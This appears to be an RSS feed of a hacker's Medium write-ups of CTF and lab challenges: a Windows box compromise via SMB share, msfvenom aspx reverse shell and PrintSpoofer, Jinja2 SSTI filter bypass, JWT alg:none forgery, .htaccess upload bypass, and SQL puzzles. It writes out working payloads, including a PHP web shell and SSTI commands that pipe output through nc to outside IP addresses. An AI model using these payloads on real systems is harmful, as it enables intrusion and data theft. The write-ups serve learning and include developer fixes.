Terminal Services                                                                                          <br>| rdp-ntlm-info: <br>|   Target_Name: RELEVANT<br>|   NetBIOS_Domain_Name: RELEVANT<br>|   NetBIOS_Computer_Name: RELEVANT<br>|   DNS_Domain_Name: Relevant<br>|   DNS_Computer_Name: Relevant<br>|   Product_Version: 10.0.14393<br>|_  System_Time: 2026-03-05T21:42:44+00:00<br>| ssl-cert: Subject: commonName=Relevant<br>| Issuer: commonName=Relevant<br>| Public Key type: rsa<br>| Public Key bits: 2048<br>| Signature Algorithm: sha256WithRSAEncryption<br>| Not valid before: 2026-03-04T21:35:11<br>| Not valid after:  2026-09-03T21:35:11<br>| MD5:   2d1e:ca13:7a61:b7d0:a400:2950:5098:98d8<br>| SHA-1: e27c:8aaa:299d:443e:9c32:bd23:601c:403c:8bdd:5f48<br>| -----BEGIN CERTIFICATE-----<br>| MIIC1DCCAbygAwIBAgIQY3p2pHT/eI1GdfyfM9LMXTANBgkqhkiG9w0BAQsFADAT<br>| MREwDwYDVQQDEwhSZWxldmFudDAeFw0yNjAzMDQyMTM1MTFaFw0yNjA5MDMyMTM1<br>| MTFaMBMxETAPBgNVBAMTCFJlbGV2YW50MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A<br>| MIIBCgKCAQEAxvTY/BX3yassRq6wcjUKgBMRoWcE0eKS+JJJo7NkZZ/dv7m63W+c<br>| JjrevXUJyHNdyEtYABJQZgpNRTMDK8tkvF+odGPMYWdcgoCbMma/XONYEFIfYjrm<br>| WNn548AZLMgOKc0ROwUxLpskkP7Q+n5FHyp5VHz712GTbGvJhbwuZGeLa9vW6GZl<br>| lL5xXlGXFKOiZf6yli+kMjreGjrh/dZW1+i4nVq3ecRHh6RqHSrtMF6mGssAGQiW<br>| MGNpiwSFIR0KpckIxPGOzYQridgs+tSha0nbu3r6EJmf84SgvIR/HJOrRmz1Ya77<br>| MkvtGUTErb7tQiSRE6tufGS0bh0pmg3k8wIDAQABoyQwIjATBgNVHSUEDDAKBggr<br>| BgEFBQcDATALBgNVHQ8EBAMCBDAwDQYJKoZIhvcNAQELBQADggEBACnw3riFG/rO<br>| EWm5HWK92sDDmcP6ElZwFCfuT8eO5Cpxch1xdZjdh8UaQtzyd+xU8tpgLpgQi8aR<br>| sfIZ1Vh3l9q40wNX3C9b4A1TmFIaTO28i+iK7/OcGahOQP9DCxtcSNEbzeNVOMBx<br>| CHip66CCUxpuctMOL2YAAlOBWP0ybfvHpWkbsbs9BFsgbZl3XRtqViawLbdLa642<br>| 4ki4IsUPq6syX17J2ffKnBOMbeKacePYX+vWSyrQdlt8vu30FRmmHsGwGfg64vai<br>| PxzV510gKCkyflK0jwZ7Gx5FFDZimQQjQofDP8SaF5LizLQcRSuMSoGLEy0dFPy3<br>| pJB1bcGh7Tk=<br>|_-----END CERTIFICATE-----<br>|_ssl-date: 2026-03-05T21:43:23+00:00; 0s from scanner time.<br>49663/tcp open  http          syn-ack Microsoft IIS httpd 10.0<br>| http-methods: <br>|   Supported Methods: OPTIONS TRACE GET HEAD POST<br>|_  Potentially risky methods: TRACE<br>|_http-title: IIS Windows Server<br>|_http-server-header: Microsoft-IIS/10.0<br>49666/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>49667/tcp open  msrpc         syn-ack Microsoft Windows RPC<br>Service Info: Host: RELEVANT; OS: Windows; CPE: cpe:/o:microsoft:windows<br><br>Host script results:<br>| smb-security-mode: <br>|   account_used: guest<br>|   authentication_level: user<br>|   challenge_response: supported<br>|_  message_signing: disabled (dangerous, but default)<br>| smb2-security-mode: <br>|   3:1:1: <br>|_    Message signing enabled but not required<br>|_clock-skew: mean: 1h36m00s, deviation: 3h34m41s, median: 0s<br>| smb-os-discovery: <br>|   OS: Windows Server 2016 Standard Evaluation 14393 (Windows Server 2016 Standard Evaluation 6.3)<br>|   Computer name: Relevant<br>|   NetBIOS computer name: RELEVANT\x00<br>|   Workgroup: WORKGROUP\x00<br>|_  System time: 2026-03-05T13:42:47-08:00<br>| smb2-time: <br>|   date: 2026-03-05T21:42:48<br>|_  start_date: 2026-03-05T21:35:12<br>| p2p-conficker: <br>|   Checking for Conficker.C or higher...<br>|   Check 1 (port 27254/tcp): CLEAN (Timeout)<br>|   Check 2 (port 39938/tcp): CLEAN (Timeout)<br>|   Check 3 (port 33445/udp): CLEAN (Timeout)<br>|   Check 4 (port 60539/udp): CLEAN (Timeout)<br>|_  0/4 checks are positive: Host is CLEAN or ports are blocked<br><br>NSE: Script Post-scanning.<br>NSE: Starting runlevel 1 (of 3) scan.<br>Initiating NSE at 22:43<br>Completed NSE at 22:43, 0.00s elapsed<br>NSE: Starting runlevel 2 (of 3) scan.<br>Initiating NSE at 22:43<br>Completed NSE at 22:43, 0.02s elapsed<br>NSE: Starting runlevel 3 (of 3) scan.<br>Initiating NSE at 22:43<br>Completed NSE at 22:43, 0.01s elapsed<br>Read data files from: /usr/bin/../share/nmap<br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 367.84 seconds2 ruunin</pre><p>Summary of the scan: 8 ports open, 2 running HTTP on Microsoft IIS 10.0 web server (80, 49663) another 3 running MSRPC(135,49666,49667) , port 3389 is the RDP server, 445 is SMB and 139 is NetBIOS.</p><p>Started by listing the shares of SMB server:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*NZVnkxZW5EsA2tmzGwNRHg.png" /></figure><p>Okay; seems the admin left a share for us the nt4wrksv share let’s see if we can connect to it using anonymous login(common smb and ftp misconfiguration)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*uvD41SVtDjk8GRfg196pJA.png" /></figure><p>Boom we are in, we have a passwords.txt file already lets see whats in there</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*-RIRWREFjHMyQXDnwqvrPA.png" /></figure><p>Upon decoding the credentials and trying to login with it didn’t work — probably a rabbit-hole. Well lets move to the two HTTP sever</p><p>Brute forced for directory on both port nothing show up</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*WGc3OYopO7iSf0E0ZQIsvw.png" /></figure><p>Then try accessing the directory from port smb server on both port and boom it works on port 49663</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Dhdo-GIviu_jBi86aj16mQ.png" /></figure><p>Seeing this, I know the SMB and the HTTP server on port 49663 are connected together. Now lets hack the server</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/220/1*1-wXh1ZL09xmfLNik3Dl2Q.gif" /></figure><p>THE ATTACK:</p><p>Generate a malicious apsx file using msfvenom upload it on the SMB server and execute it from the web server on port 49663 then gain a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*_l64zXjifDLVTqB_YTFI7A.png" /><figcaption>generating and uploading aspx file</figcaption></figure><p>After I upload the file I started listing using nc on the same port in the msfvenom port(port 8888) then accessing the file from the webserver on port 8888 to trigger the execution</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Amt-pDdvrzCD-gx79RT6w.png" /></figure><p>Then I go a shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*5kZT-XO39f50CC5kW6rMfA.png" /></figure><p>grab the first flag from c:\Users\Bob\Desktop</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/935/1*t--j8mI_oL1Mu7Bmx1jd6A.png" /></figure><p>FLAG:THM{fdk4ka34vk346ksxf************5}</p><p>Privilege Escalation:</p><p>Input the command whoami /priv to check privilege then saw that SeImpersonatePrivilegeis enabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*8l9ee6CBNP_u4P0yUjXuFw.png" /></figure><p>Nice to exploit this I download printspoofer from <a href="https://github.com/dievus/printspoofer">here</a> and upload it on the machine using python3 and certutil</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/757/1*AjWKrkhpREbDfHZD49ilRw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/897/1*qtkbLfj8rIE725B-dRUhKg.png" /></figure><p>After I have it on the machine i run PrintSpoofer.exe -i -c cmd to get system shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*d16T0BEjSot0aX6KSSBEOg.png" /></figure><p>Then I grab the second flag from C:\Users\Administrator\Desktop</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/945/1*JJzRM_u2-37rJAc92ZN6GA.png" /></figure><p>LESSON LEARNT: ALWAYS SECURE YOUR SMB SERVER</p><p>THANKS FOR READING!!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=473fa7d60918" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Input Injection 2 => PicoGym]]></title>
            <link>https://devnull-0.medium.com/input-injection-2-picogym-96875d1f4159?source=rss-c6fcd01bea8c------2</link>
            <guid isPermaLink="false">https://medium.com/p/96875d1f4159</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Aderogbarufai]]></dc:creator>
            <pubDate>Wed, 17 Dec 2025 13:01:00 GMT</pubDate>
            <atom:updated>2025-12-17T13:01:00.992Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*DNN-xUf8VbKhRNJ7ELlwBw.png" /></figure><p>This another binary exploitation challenge from picoGym let’s check the source code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/773/1*c9AlRqxpc_tLvE1khoF-0Q.png" /></figure><p>Upon seeing the code I know this is another buffer overflow….. Why it happens? The code read a username from user and print the user name back together with the shell default value, but here we can override the default shell value to run our code if the username value is more than 28 char. So the exploitation steps is: Input a user name of 28 char and the code you wish to run after it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/687/1*8om3xD2vLMR5RqE8do7exA.png" /></figure><p>That is the normal code behavior, now lets exploit</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*ZWEa6Y6q5azakuXkPMG1eA.png" /></figure><p>notice that the whoami after the 28 char gives ctf-player now lets get a shell using /bin/bash -p and read the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*66rWjVNN29emvAyMNysXxw.png" /></figure><p>b00m we got the flag!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=96875d1f4159" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Input Injection 1 => picoGym]]></title>
            <link>https://devnull-0.medium.com/input-injection-1-picogym-77fb1ae909b7?source=rss-c6fcd01bea8c------2</link>
            <guid isPermaLink="false">https://medium.com/p/77fb1ae909b7</guid>
            <category><![CDATA[hacker]]></category>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[binary]]></category>
            <dc:creator><![CDATA[Aderogbarufai]]></dc:creator>
            <pubDate>Wed, 17 Dec 2025 12:40:39 GMT</pubDate>
            <atom:updated>2025-12-17T12:40:39.299Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*46WArMF4kvTV610KCSPbbQ.png" /></figure><p>On launching the instant I download the code and notice it was vulnerable to buffer overflow.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*co60WlDhdzej5TzyTJRsoQ.png" /></figure><p>This means any char that is more than 10 will be rum as system code. So this is straight forward, input a ten char word and put any system command after it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*YgEGp7WONu1m_MOVScAlQQ.png" /></figure><p>B00M! whoami run as a system code and return ctf-player now input /bin/bash -p to get a shell and read the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/571/1*15PTTcZtP2QFBDU5Dsf8-g.png" /></figure><p>And b00m we got the flag</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=77fb1ae909b7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Python — Blind SSTI Filters Bypass]]></title>
            <link>https://devnull-0.medium.com/python-blind-ssti-filters-bypass-9585f421db67?source=rss-c6fcd01bea8c------2</link>
            <guid isPermaLink="false">https://medium.com/p/9585f421db67</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Aderogbarufai]]></dc:creator>
            <pubDate>Sun, 16 Nov 2025 23:39:01 GMT</pubDate>
            <atom:updated>2025-11-16T23:39:01.017Z</atom:updated>
            <content:encoded><![CDATA[<h3>Python — Blind SSTI Filters Bypass</h3><p><em>This company’s site offers to apply for their private bug bounty program. To show them that you are the right candidate for them, exploit this app and find a way to get the flag! Challenge </em><a href="https://www.root-me.org/en/Challenges/Web-Server/Python-Blind-SSTI-Filters-Bypass?lang=en"><em>link</em></a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wRmVgQshj7CPDgpYegCd7A.png" /></figure><p>Scrolling down the webpage I found the template source code</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TrOz0b6OW37144ejjQAEXg.png" /></figure><p>After extracting the file I saw a file named <em>server_ch73.py</em></p><p>Let’s get in the file!!!!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*JM58zLsk2Vnaw0DO4vbjcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/981/1*XkELxZtaQE8lJ96HqhFFog.png" /></figure><p>Looking at the python code it does some little sanitizing by escaping some keyword and characters and limiting the field length.</p><p>But some functionalities make it exploitable. This line <em>‘{{ hacker_name }}{{ hacker_surname }}{{ hacker_email }}{{ hacker_bday }}.csv’ shows that the code concatenate all our input together in the template engine.</em></p><p>After some searches online, find a short way to execute code in jinja2 template using the payload <em>{{ lipsum.__globals__.os.popen(“id”).read() }}.</em></p><p>To bypass both the weak implementations we are going to split the payload in to the input field as shown below</p><p>Name:{ , surname: <em>{ lipsum.__globals__ email: .os.popen(“id”).read() } bday: }</em></p><p>Note: This was exploitable because the code only blocks ‘{{‘ not ‘{’ and also the sever concatenate our input together as said before. When constructing your payload make sure your email field and surname field are not up to 50 characters individually.</p><p>Now we have to create tcp tunnel that we receive the respond since its blind. You can use your burp collaborator, ngrok or pinggy. For this write-up I’m using <a href="https://pinggy.io/">pinggy</a>. together which nc to receive the responds. Go to pinggy CLI download the CLI tool then go back to the home page any generate a tcp tunnel, mine is<em> ssh -p 443 -o StrictHostKeyChecking=no -o ServerAliveInterval=30 -R0:localhost:8000 </em><a href="/service/mailto:tcp@free.pinggy.io"><em>tcp@free.pinggy.io</em></a><em> copy it to you machine then start listening to the connection with nc according to your port number mine is 8000 so i use nc -lpk 8000</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*h1vRICaj3cZj_m6V61LOOQ.png" /></figure><p>So I have the URL and my port from pinggy but the URL is long. I get around this by pinging the URL from my terminal to reveal the IP</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*-xYgDkfpM8ouAhFmphwRWA.png" /></figure><p>So I have all set and ready, now I modifies the payload to send the responds to my machine</p><p><em>{{ lipsum.__globals__.os.popen(“id | nc 195.54.160.100 39145&quot;).read() }} then split it to the input field as analyzed before. Note: for some reason I have to restart my pinggy and that what’s why I have different IP in the payload</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*O1F8xL84I5rnSfzugLDnyg.png" /></figure><p>Now I clicked send application and receive the responds in my nc connection</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*B665rT-ySWkTCHOzcfvdhQ.png" /></figure><p>Now that we have a working POC let’s tryy to get the flag. After some minutes of listing the directory looking for flag from the machine. I couldn’t find any file related to flag then decided to search for the flag using find command in Linux which leads to the payload below.</p><p><em>{{ lipsum.__globals__.os.popen(“find -name ‘flag.*’ |xargs cat| nc 139.162.187.153 36167&#39;).read() }}</em></p><p>Note: You might need to quit and nc connection and start it again. Don’t worry about the pinggy tunnel.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P1z1Qsmc3X-T0zxU6Qxhog.png" /></figure><p>Then send application and capture the flag from your nc</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/587/1*XravJJLYNN4SbRZki9QhxQ.png" /></figure><p>Key take-away for developers:Instead of creating a blacklists of what is not accepted create a whitelist of what is accepted and for SSTI vuln use a sandbox or docker containers to deploy your template environment preventing arbitrary code execution on the server.</p><p>Thanks for reading &gt;#3</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9585f421db67" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[JAuth picoCTF]]></title>
            <link>https://devnull-0.medium.com/jauth-picoctf-3325e62c4321?source=rss-c6fcd01bea8c------2</link>
            <guid isPermaLink="false">https://medium.com/p/3325e62c4321</guid>
            <category><![CDATA[picoctf]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[jwt-authentication]]></category>
            <dc:creator><![CDATA[Aderogbarufai]]></dc:creator>
            <pubDate>Sun, 09 Nov 2025 09:57:37 GMT</pubDate>
            <atom:updated>2025-11-09T09:57:37.974Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/969/1*BnMAlsJ2YTfzsMByNVMFGg.png" /></figure><p>This write-up is from picoGym Exclusive and it’s all about JavaScript Object Notation Web Token(JSON WEB TOKEN).</p><p><strong>Introduction to JSON Web Token (JWT):</strong><br> JSON Web Token (JWT) is a compact, URL-safe method for securely transmitting information between two parties as a JSON object. It is widely used in web applications for authentication and authorization. Unlike traditional cookies, JWTs are stateless and self-contained — meaning they store all necessary user information within the token itself, allowing the server to verify user identity without maintaining session data.</p><p>A JWT typically consists of three parts — <strong>Header</strong>, <strong>Payload</strong>, and <strong>Signature</strong> — separated by dots (.) example <em>aaaa.bbbb.cccc</em>, The header defines the signing algorithm, the payload contains user claims or data, and the signature ensures token integrity.</p><p>There are two main types of signing algorithms:</p><p><strong>HMAC (HS256, HS512, etc.):</strong> Uses a shared secret key for both signing and verification (symmetric)</p><p><strong>RSA (RS256, RS512, etc.):</strong> Uses a private key to sign and a public key to verify (asymmetric).</p><p>However, JWTs can be vulnerable if not properly implemented. Common misconfiguration include:</p><p>Using the <em>alg:none </em>value, which disables signature verification.</p><p>Allowing algorithm confusion attacks (e.g., changing RS256 to HS256 to trick the server).</p><p><strong>kid (Key ID) header injection</strong><br>The kid header is normally an identifier used by the server to select which key from its key store should verify or sign a token. In a vulnerable implementation an attacker can supply a malicious kid value that causes the server to load and use an internal file (for example a local key file) or an unexpected key. That can let the attacker force the server to sign or accept tokens using an internal/private key.</p><p><strong>jwk (JSON Web Key) header injection</strong><br>Some libraries accept a jwk object in the token header. If the server blindly trusts a jwk supplied by the client and uses it to verify or sign tokens, an attacker can provide their own key material (a JWK they control) so that the server will accept tokens signed with that key.</p><p><strong>jku (JWK Set URL) header injection</strong><br>The jku header points to a URL where a JWK Set (collection of public keys) can be fetched. If a server blindly fetches and trusts the JWKs at an attacker-controlled jku URL, the attacker can host a JWK that contains a key they control and then have the server accept tokens signed with that key. Commonly abused when the application does not validate the jku domain or enforces an allow-list.</p><p>Exposing secret or private keys in source code or repositories.</p><p>Not validating token expiration (exp) or issuer (iss) claims.</p><p>Proper key management, strict algorithm enforcement, and signature validation are essential to ensure JWT security.</p><p>The challenge walk through is based on setting algorithm to none. Let’s get started!!</p><p>Using the credential the challenge provided to login we have a page like below</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Eh5bCMJ_q5fgPuNVnlhxIA.png" /></figure><p>Upon analyzing the GET /private request using burp suite a token is being set in the cookie header. Now analyze the token using JWT Editor(burp extension) or any other JWT analysis tools you like.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*Bgpk2tYUdb2R2cDgcByaAg.png" /></figure><p>You can now see the header and the payload. now lets try to disable signature verification.</p><p>Change alg value to none and the role to admin then delete the signature part from the token value in the cookie header leaving the dot i.e if the token value is <em>aaaaa.bbbbb.cccc</em> change it to <em>aaaaa.bbbbb.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*NXr84-npnVhYkCCtkH_y-A.png" /><figcaption>deleting signature</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*BnWrH1wjXhFoDIt27sjhqQ.png" /><figcaption>modifying the values</figcaption></figure><p>After this send your request and you receive the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/791/1*XFJyt7XrdWEa9yZIUT0KIw.png" /></figure><p>flag: picoCTF{succ3ss_@u7h3nt1c@710n_3444eacf}</p><p>Wanna learn more about JWT checkout <a href="https://portswigger.net/web-security/jwt">here</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3325e62c4321" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[byp4ss3d-picoMINI by CMU-Africa]]></title>
            <link>https://devnull-0.medium.com/byp4ss3d-picomini-by-cmu-africa-271ea202309c?source=rss-c6fcd01bea8c------2</link>
            <guid isPermaLink="false">https://medium.com/p/271ea202309c</guid>
            <category><![CDATA[picoctf-2025]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Aderogbarufai]]></dc:creator>
            <pubDate>Tue, 28 Oct 2025 17:00:22 GMT</pubDate>
            <atom:updated>2025-10-28T17:00:22.145Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*6bQ1pCsQ7oZt76MjVk5vww.png" /></figure><p>This challenge deals with file upload vulnerability by overriding the .htaccess file in apache2. LET’S HACK(:-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*vkhp9uWY7Pca_IIY-0NsMQ.png" /></figure><p>With burp running tried upload a file name wa.php that contains <em>&lt;?php echo system($_GET[‘cmd’]); ?&gt;</em> and got a not allowed message</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*v9sWWyp-TMK0glUYXdX5zg.png" /><figcaption>not allowed</figcaption></figure><p>As said from the hint I checked if i can overwrite the .htaccess file!!!</p><p>Send the POST /upload to repeater, changed the file contents to from php payload to<em> AddType application/x-httpd-php .jpg</em> and file name to .htaccess.</p><p>The content AddType application/x-httpd-php .jpg tells apache2 to treat every .jpg file as a PHP file which means when we upload a .jpg file the server sees it as a php file making it to execute.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*LrgqiYCsuJgOGWiQbdpYRA.png" /></figure><p>You can see our .htaccess file got uploaded now lets upload a .jpg file with the content <em>&lt;?php echo system($_GET[‘cmd’]); ?&gt;</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zGnVEy20E0jFBHrj09YRig.png" /></figure><p>Notice it got uploaded, now proceed to access the file at /images/wa.jpg</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4h3xQb8sbwPa1sU24bauSA.png" /></figure><p>Then got this, this means the content of the file is been executed by the server. Now add the cmd parameter like this /image/wa.jpg?cmd=whoami, this confirm the vuln.</p><p>List the content of /var/www in the file system with <strong>/image/wa.jpg?cmd=ls -la /var/www </strong>and a file named flag.txt appear.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*yxmYvBPxKh6iDODskdu2TA.png" /><figcaption>flag.txt</figcaption></figure><p>Then use cat /var/www/flag.txt as the value of the cmd parameter to read your flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/873/1*ScU5SX-2DHm0NzM-En_Spw.png" /></figure><p>picoCTF{s3rv3r_byp4ss_e46b22e5}</p><p>Advice for developer: Apart from disallowing a file type when dealing with file upload, always rename the input file before adding it to the server side!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=271ea202309c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EpicSales-Deadface-2025]]></title>
            <link>https://devnull-0.medium.com/epicsales-deadface-2025-92512872d905?source=rss-c6fcd01bea8c------2</link>
            <guid isPermaLink="false">https://medium.com/p/92512872d905</guid>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[sql]]></category>
            <category><![CDATA[deadface-ctf]]></category>
            <dc:creator><![CDATA[Aderogbarufai]]></dc:creator>
            <pubDate>Tue, 28 Oct 2025 16:57:58 GMT</pubDate>
            <atom:updated>2025-10-28T16:57:58.914Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZaXWfdPUoUZ5MLfwQKX4aQ.png" /></figure><p>EpicSales from deadface ctf 2025 is a challenge that test SQL skills. It requires playing around the tables and knowing the information they contains but I’m going to be brief in this writeup. If you want to explore the challenge it is up <a href="https://ctf.deadface.io/challenges">here</a> till NOV 11 20325. Jut scroll down and look for EpicSales.</p><p>Let’s get started(:-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/681/1*UtoO_1bCiFd5CKYNPY1K6Q.png" /></figure><p>Connect to the db using <em>mysql -u epicsales -p -h env01.deadface.io — skip-ssl -P 3306 epicsales_db</em></p><p>To find the customer that signed up after September 1 2025 I used <em>SELECT COUNT(*) AS num_of_customers FROM customers WHERE join_date &gt;= ‘2025–09–01’</em>; this query simple count all the customer that as <em>num_of_customers where the date is greater than or equal to </em>September 1 2025</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/925/1*VQD9d89m6qKDha-VzOudww.png" /></figure><p>18, flag=deadface{18}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*0TrT6YxBPebAxC6dN6te-Q.png" /></figure><p><em>SELECT product_name FROM products WHERE product_id = (SELECT product_id FROM reviews GROUP BY product_id ORDER BY AVG(rating) DESC LIMIT); </em>this query select product_name from table products where product_id is equal to the query that calculate average rating from the table review using the function AVG() then print it in descending order using DESC then use LIMIT 1 to print only the first high product</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*y3K3YoG8SGiUDOBcW0GN-g.png" /></figure><p>product name: VortexAudio Focus flag:<em>deadface{VortexAudio Focus}</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*PlKk5ZtzNu4lbxHo1KuBBA.png" /></figure><p><em>SELECT i.product_id, f.facility_num FROM inventories i JOIN facilities f ON i.facility_id=f.facility_id WHERE i.quantity&lt;5 ORDER BY i.quantity ASC LIMIT 1; </em>This query provide a shortcut i and f to the inventories and facilities tables, then join facilities to inventories using facility_id then use where clause to look for quantity less than 5 from inventories and returned the product_id and facility_num then order by ascending order then limit 1 to select the first product_id i.e the lowest facilities number</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/933/1*a-yfUx-Lt2NPJ8ptVGNo0w.png" /></figure><p>facility_num=16 now use the product_id to select product_name from table products: <em>SELECT product_name FROM products WHERE product_id=188;</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*Ks-CLLqZ60_BaGmZtkhQsA.png" /></figure><p>product_name=ConnectGear SafeDrive 2TB, flag:deadface{ConnectGear SafeDrive 2TB 16}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*6E1sQq8mGLYAwC6MGwdukw.png" /><figcaption>high value target</figcaption></figure><p>SELECT SUM(pay_rate) AS total_pay FROM employees WHERE role IN (‘CEO’,’CTO’,’CFO’); This query simply select and sum the pay_rate as total_pay where the role is one of the following (‘CEO’,’CTO’,’CFO’);</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*SaMpEU0TJvrPz4zgouRclA.png" /></figure><p>sum:7391.20 flag:deadface{7391.20}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/661/1*uUjNAOhtnyYgJg34bL2I3Q.png" /></figure><p>SELECT c.email FROM customers c JOIN orders o ON c.customer_id=o.customer_id WHERE c.customer_id NOT IN (SELECT customer_id FROM reviews) GROUP BY c.customer_id ORDER BY COUNT(o.order_id) DESC LIMIT 1; the query join customer table to orders table using customer_id then use to WHERE clause to specify that the customer_id must not be in review table and use the ORDER BY to COUNT the order_id then display it in descending order and LIMIT by one to return the highest order email</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/949/1*tGeu9iAv0hK_PM8HbxeqXQ.png" /></figure><p>email: <a href="/service/mailto:dgrimsley2ab@webs.com">dgrimsley2ab@webs.com</a> flag:deadface{<a href="/service/mailto:dgrimsley2ab@webs.com">dgrimsley2ab@webs.com</a>}</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/651/1*ukCGvr-V3DBwCh0r3qlnwg.png" /></figure><p>SELECT c.customer_id, CONCAT(c.first_name, ‘ ‘, c.last_name) AS customer_name, SUM(p.price * oi.quantity) AS total_spent FROM customers c JOIN orders o ON c.customer_id = o.customer_id JOIN order_items oi ON o.order_id = oi.order_id JOIN products p ON oi.product_id = p.product_id GROUP BY c.customer_id, customer_name ORDER BY total_spent DESC LMIT 1; This query simply take the product of price and quantity as sum them together for each user then join order on customer table using customer_id then use ORDER BY to select in descending order in LIMIT 1 to print the first “first_name and last_name”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*T4VdAS9YKKOV9YwBPV6JJg.png" /></figure><p>name: Willabella Wain flag:deadface{Willabella Wain}</p><figure><img alt="" 